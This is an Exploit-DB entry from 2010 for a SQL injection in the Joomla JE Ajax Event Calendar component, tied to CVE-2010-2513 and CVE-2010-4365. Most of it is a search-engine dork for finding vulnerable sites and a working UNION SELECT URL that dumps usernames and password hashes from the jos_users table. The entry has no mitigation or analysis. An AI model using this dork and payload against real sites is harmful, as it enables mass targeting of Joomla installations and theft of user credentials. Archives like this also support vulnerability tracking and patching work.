Joomla JE Ajax Event Calendar Component com_jeajaxeventcalendar SQL Injection

2010-11-25T00:00:00
ID EDB-ID:15610
Type exploitdb
Reporter ALTBTA
Modified 2010-11-25T00:00:00

Description

Joomla JE Ajax Event Calendar Component (com_jeajaxeventcalendar) SQL Injection. CVE-2010-2513,CVE-2010-4365. Webapps exploit for php platform

                                        
                                            # Vendor:
http://joomlaextensions.co.in/extensions/components/je-ajax-event-calender.html

# Download:
http://extensions.joomla.org/extensions/calendars-a-events/events/events-calendars/12110

# Author: altbta

# Contact: l_9[at]Hotmail[Dot]com

# Home: http://xp10.com

# Thanks to: rxh  xp10.com >> v4-team.com >> p0c.cc :))

==========================================================================

[+] Dork: inurl:"index.php?option=com_jeajaxeventcalendar"

==========================================================================

[+] exploit:
http://127.168.1.1/index.php?option=com_jeajaxeventcalendar&view=alleventlist_more&event_id=-13/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,0x3a,password),4/**/from/**/jos_users--

==========================================================================